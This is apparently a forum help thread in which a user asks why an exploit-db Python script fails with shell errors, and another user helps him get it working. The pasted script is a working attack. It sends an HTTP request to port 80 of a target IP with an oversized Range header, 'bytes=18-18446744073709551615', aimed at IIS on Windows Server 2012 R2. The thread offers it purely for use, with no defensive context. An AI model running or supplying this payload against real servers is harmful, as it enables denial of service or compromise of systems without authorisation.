Link to home
Start Free TrialLog in
Avatar of gman
gman

asked on

Python Exploit Script

Been trying to use this script - https://www.exploit-db.com/exploits/36776/

Keep getting the following

./36776.py: line 3: $'\r': command not found
./36776.py: line 4: syntax error near unexpected token `sys.argv'
'/36776.py: line 4: `if len(sys.argv)<=1:
Avatar of aikimark
aikimark
Flag of United States of America image

I think you messed up with your copy/paste of the code.
Avatar of gman
gman

ASKER

No thats not the issue
please paste your code, preferably within a code snippet
Avatar of gman

ASKER

#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:	
 sys.exit('Give me an IP')

Host = sys.argv[1]

def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()

#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"

SendPayload(Init, Host)
SendPayload(Payload, Host)

Open in new window

I can't recreate your error messages.

Please try this:
1. Click the Select All link below the code window above
2. Copy/paste the code into your environment
3. execute this version of the code
ASKER CERTIFIED SOLUTION
Avatar of gman
gman

Link to home
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
Start Free Trial
Avatar of gman

ASKER

thats how i fixed it